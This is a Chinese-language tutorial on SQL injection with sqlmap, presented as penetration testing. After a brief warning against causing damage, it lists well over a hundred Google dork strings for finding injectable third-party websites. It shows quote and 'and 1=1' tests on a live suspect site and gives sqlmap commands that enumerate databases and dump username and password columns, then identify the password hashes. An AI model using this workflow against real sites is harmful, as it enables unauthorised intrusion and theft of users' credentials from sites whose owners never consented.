在渗透测试过程中,对目标进行漏洞扫描的时候,扫描报告会提示目标有SQL注入漏洞,那在这个时候就需要我们手工对扫描报告当中的链接进行手工验证。我们需要准备一个工具:SQLmap

SQLmap官方页面

在使用SQLmap进行渗透之前,需要找到网站的注入点。

当给sqlmap这么一个url的时候,它会:

1、判断可注入的参数

2、判断可以用那种SQL注入技术来注入

3、识别出哪种资料库

4、根据用户选择,读取哪些数据

sqlmap支持五种不同的注入模式:

1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。

2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。

3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。

4、联合查询注入,可以使用union的情况下的注入。

5、堆查询注入,可以同时执行多条语句的执行时的注入。

0x00 SQL注入与SQLmap

SQL注入是一种代码注入技术,SQL注入的成功必须借助应用程序的安全漏洞,例如用户输入没有经过正确地过滤(针对某些特定字元串)或者没有特别强调类型的时候,都容易造成异常地执行SQL语句。SQL注入是网站渗透中最常用的攻击技术,但是其实SQL注入可以用来攻击所有的SQL资料库。在这个指南中我会向你展示在Kali Linux上如何借助SQLMAP来渗透一个网站(更准确的说应该是资料库),以及提取出用户名和密码信息。

SQLmap是一个开源的渗透测试工具,用于自动化侦测和实施SQL注入攻击及渗透资料库伺服器。SQLMAP完美支持MySQL、Oracle、PostgreSQL、MS-SQL与Access等各种资料库的SQL侦测和注入。

还有很重要的一点必须说明:不要去做恶意的破坏,想一想,你辛辛苦苦赚的钱被小偷偷了,你是什么感受。将心比心一下,不要去破坏别人的财产。这是违法的行为。

0x01如何查找可注入的网站

a:利用Google Dorks字元串找可注入的网站

inurl:item_id=

inurl:review.php?id=

inurl:hosting_info.php?id=

inurl:newsid=

inurl:iniziativa.php?in=

inurl:gallery.php?id=

inurl:trainers.php?id=

inurl:curriculum.php?id=

inurl:rub.php?idr=

inurl:news-full.php?id=

inurl:labels.php?id=

inurl:view_faq.php?id=

inurl:news_display.php?getid=

inurl:story.php?id=

inurl:artikelinfo.php?id=

inurl:index2.php?option=

inurl:look.php?ID=

inurl:detail.php?ID=

inurl:readnews.php?id=

inurl:newsone.php?id=

inurl:index.php?=

inurl:top10.php?cat=

inurl:aboutbook.php?id=

inurl:profile_view.php?id=

inurl:newsone.php?id=

inurl:material.php?id=

inurl:category.php?id=

inurl:event.php?id=

inurl:opinions.php?id=

inurl:publications.php?id=

inurl:product-item.php?id=

inurl:announce.php?id=

inurl:fellows.php?id=

inurl:sql.php?id=

inurl:rub.php?idr=

inurl:downloads_info.php?id=

inurl:index.php?catid=

inurl:galeri_info.php?l=

inurl:prod_info.php?id=

inurl:news.php?catid=

inurl:tekst.php?idt=

inurl:shop.php?do=part&id=

inurl:index.php?id=

inurl:newscat.php?id=

inurl:productinfo.php?id=

inurl:news.php?id=

inurl:newsticker_info.php?idn=

inurl:collectionitem.php?id=

inurl:index.php?id=

inurl:rubrika.php?idr=

inurl:band_info.php?id=

inurl:trainers.php?id=

inurl:rubp.php?idr=

inurl:product.php?id=

inurl:buy.php?category=

inurl:offer.php?idf=

inurl:releases.php?id=

inurl:article.php?ID=

inurl:art.php?idm=

inurl:ray.php?id=

inurl:play_old.php?id=

inurl:title.php?id=

inurl:produit.php?id=

inurl:declaration_more.php?decl_id=

inurl:news_view.php?id=

inurl:pop.php?id=

inurl:pageid=

inurl:select_biblio.php?id=

inurl:shopping.php?id=

inurl:games.php?id=

inurl:humor.php?id=

inurl:productdetail.php?id=

inurl:page.php?file=

inurl:aboutbook.php?id=

inurl:post.php?id=

inurl:newsDetail.php?id=

inurl:ogl_inet.php?ogl_id=

inurl:viewshowdetail.php?id=

inurl:gallery.php?id=

inurl:fiche_spectacle.php?id=

inurl:clubpage.php?id=

inurl:article.php?id=

inurl:communique_detail.php?id=

inurl:memberInfo.php?id=

inurl:show.php?id=

inurl:sem.php3?id=

inurl:section.php?id=

inurl:staff_id=

inurl:kategorie.php4?id=

inurl:theme.php?id=

inurl:newsitem.php?num=

inurl:news.php?id=

inurl:page.php?id=

inurl:readnews.php?id=

inurl:index.php?id=

inurl:shredder-categories.php?id=

inurl:top10.php?cat=

inurl:faq2.php?id=

inurl:tradeCategory.php?id=

inurl:historialeer.php?num=

inurl:show_an.php?id=

inurl:product_ranges_view.php?ID=

inurl:reagir.php?num=

inurl:preview.php?id=

inurl:shop_category.php?id=

inurl:Stray-Questions-View.php?num=

inurl:loadpsb.php?id=

inurl:transcript.php?id=

inurl:forum_bds.php?num=

inurl:opinions.php?id=

inurl:channel_id=

inurl:game.php?id=

inurl:spr.php?id=

inurl:aboutbook.php?id=

inurl:view_product.php?id=

inurl:pages.php?id=

inurl:preview.php?id=

inurl:newsone.php?id=

inurl:announce.php?id=

inurl:loadpsb.php?id=

inurl:sw_comment.php?id=

inurl:clanek.php4?id=

inurl:pages.php?id=

inurl:news.php?id=

inurl:participant.php?id=

inurl:avd_start.php?avd=

inurl:download.php?id=

inurl:event.php?id=

inurl:main.php?id=

inurl:product-item.php?id=

inurl:review.php?id=

inurl:sql.php?id=

inurl:chappies.php?id=

inurl:material.php?id=

inurl:read.php?id=

inurl:clanek.php4?id=

inurl:prod_detail.php?id=

inurl:announce.php?id=

inurl:viewphoto.php?id=

inurl:chappies.php?id=

inurl:article.php?id=

inurl:read.php?id=

inurl:person.php?id=

inurl:viewapp.php?id=

inurl:productinfo.php?id=

inurl:viewphoto.php?id=

inurl:showimg.php?id=

inurl:rub.php?idr=

inurl:view.php?id=

inurl:galeri_info.php?l=

inurl:website.php?id=

b:验证网站是否可以进行SQL注入

在利用Google Dorks进行关键字搜索之后,也许会得到很多类似的结果,那怎么验证这些站点是否存在注入呢,一个简单粗暴的方法是:在链接参数后面加单引号,然后回车,如果返回一个SQL错误,则存在注入。

当然,现在更多使用的是and1=1,or1=1,or1=2

举例测试:

这是一个疑似存在注入点的网站,我们现在给链接后面加上单引号,看看会发生什么。

%27其实就是单引号,浏览器对单引号做了一个转义。可以看到此页面是存在SQL注入的,接下来测试一下and1=1,or1=1,看看会发生什么。

and1=1

Or1=1,or1=2

现在已经确认该链接是存在SQL注入的,那么这时候就该SQLmap上场了。

0x02SQLmap大显身手

a:列出链接所在的资料库

sqlmap -u 「url」 –dbs

b:列出资料库中的表

sqlmap -u 「url」 -D DatebaseName –tables

c:列出数据表中的列

sqlmap -u 「url」 -D Datebase -T TableName–columns

以下操作涉及网站敏感数据,就不截图了,看官们只要知道怎么用就好啦。

d:从资料库表的列中列出用户名(前提是表中有用户名)

sqlmap -u 「url」 -D DatabaseName -TTableName -C ColumnsName user_login –-dump

e:提取用户密码

sqlmap -u 「url」 -DDatabaseName -T TableName -C ColumnsName user_password –dump

进行到这一步,我们就得到了密码栏位的值,不过是HASH值,在KaliLInux中有判别HASH值的工具Hash-identifier,我们只要打开那个工具根据提示提供HASH值就可以了。

SQLmap参数说明:

-T:指定要列出的表 -columns:列出表中的列

-C:指定表中的列名 -dump:导出结果

0x03总结

在渗透测试活动当中的漏洞扫描环节,不要太信任你的某一个扫描器,最好多用几个扫描器对目标进行扫描,对比他们的扫描报告。

参考链接:

anquan.us/static/drops/

exehack.net/4955.html


推荐阅读:
查看原文 >>
相关文章